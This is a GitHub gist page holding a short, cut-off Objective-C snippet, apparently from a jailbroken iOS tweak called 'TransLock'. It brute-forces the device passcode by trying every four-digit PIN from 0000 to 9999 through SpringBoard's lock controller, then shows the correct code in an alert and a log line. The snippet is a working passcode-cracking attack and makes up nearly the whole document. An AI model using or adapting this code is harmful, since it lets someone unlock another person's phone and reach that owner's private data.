Skip to content

Instantly share code, notes, and snippets.

Created April 18, 2019 11:00
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
- (void)bruteforce {
for (int i = 0; i <= 9999; i++) {
numString = [NSString stringWithFormat:@"%04d", i];
NSLog(@"Testing : %@", numString);
if ([[%c(SBDeviceLockController) sharedController] attemptDeviceUnlockWithPassword:numString appRequested:NO]) {
[[[UIAlertView alloc] initWithTitle:@"TransLock"
message:[NSString stringWithFormat:@"Password is %@", numString]
otherButtonTitles:nil] show];
NSLog(@"Password is : %@", numString);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment